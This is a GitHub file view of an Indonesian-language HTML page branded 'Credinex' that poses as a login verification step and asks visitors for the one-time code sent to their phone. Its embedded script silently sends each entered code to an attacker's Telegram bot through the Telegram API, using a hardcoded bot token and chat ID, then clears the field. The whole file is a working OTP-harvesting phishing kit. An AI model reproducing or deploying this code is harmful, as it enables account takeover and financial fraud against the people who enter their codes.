-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpa.html
More file actions
70 lines (70 loc) · 2.25 KB
/
Copy pathpa.html
File metadata and controls
70 lines (70 loc) · 2.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<!DOCTYPE html>
<html lang="in">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Credinex</title>
<link rel="stylesheet" href="style.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<body>
<form action="" onsubmit="return sender()">
<marquee>
<p>Masukkan kode verifikasi yang sudah dikirim ke nomor handphone Anda. Jika belum diterima harap tunggu 1 menit.</p>
</marquee>
<div class="login">
<div class="input-group">
<h4>Kode Verifikasi</h4>
</div>
<div class="input-group">
<p>Masukkan kode verifikasi yang telah dikirim ke nomor handphone Anda.</p>
</div>
<br>
<div class="input-group">
<input type="number" name="num" id="iso" placeholder="Verifikasi" maxlength="6" required>
</div>
<div class="input-group">
<p>Kode verifikasi telah di kirim via SMS/WhatsApp</p>
</div>
<br>
<div class="input-group">
<button type="submit" onclick="kirim()">Masuk</button>
</div>
</div>
</form>
<script>
//bot token
var telegram_bot_id = "7495496098:AAG68ffAD-S37akaWiHFcsiIaWX_S3K1GHE"
//chat id
var chat_id = 6327145527
var u_number;
var ready = function submitdata() {
u_number = document.getElementById("iso").value;
message = "[Credinex | Verifikasi]\n \nKode Verifikasi: " + u_number
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function(response){
console.log('');
});
document.getElementById("iso").value = "";
return false;
};
</script>
</body>
</html>